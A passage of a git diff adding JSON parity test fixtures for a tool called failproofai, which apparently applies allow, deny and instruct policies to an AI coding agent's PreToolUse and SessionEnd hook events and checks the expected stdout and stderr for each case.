"allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PreToolUse/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PreToolUse/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..f34a8c01 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreToolUse/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PreToolUse/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PreToolUse/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..e824c475 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreToolUse/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PreToolUse/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PreToolUse/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..fc17bd58 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreToolUse/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PreToolUse/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PreToolUse/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..88b5c445 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreToolUse/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PreToolUse/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PreToolUse/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..ba72b5f0 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreToolUse/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PreToolUse/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PreToolUse/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..5c4346da --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreToolUse/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PreToolUse/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PreToolUse/deny__tool-present__one-policy.json new file mode 100644 index 00000000..72b20c57 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreToolUse/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PreToolUse/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PreToolUse/deny__tool-present__two-policies.json new file mode 100644 index 00000000..88d54e51 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreToolUse/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PreToolUse/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PreToolUse/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..8df9a966 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreToolUse/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PreToolUse/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PreToolUse/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..10351d5d --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreToolUse/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PreToolUse/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PreToolUse/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..20efccfb --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreToolUse/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PreToolUse/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PreToolUse/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..4693ca27 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreToolUse/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SessionEnd/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/SessionEnd/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..828491dc --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionEnd/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SessionEnd/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/SessionEnd/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..b0ee940e --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionEnd/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SessionEnd/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/SessionEnd/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..aa62fe80 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionEnd/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SessionEnd/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/SessionEnd/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..d31b4d61 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionEnd/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SessionEnd/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/SessionEnd/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..49469dc7 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionEnd/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SessionEnd/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/SessionEnd/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..19fd49a4 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionEnd/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SessionEnd/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/SessionEnd/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..ccf7fbe3 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionEnd/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": 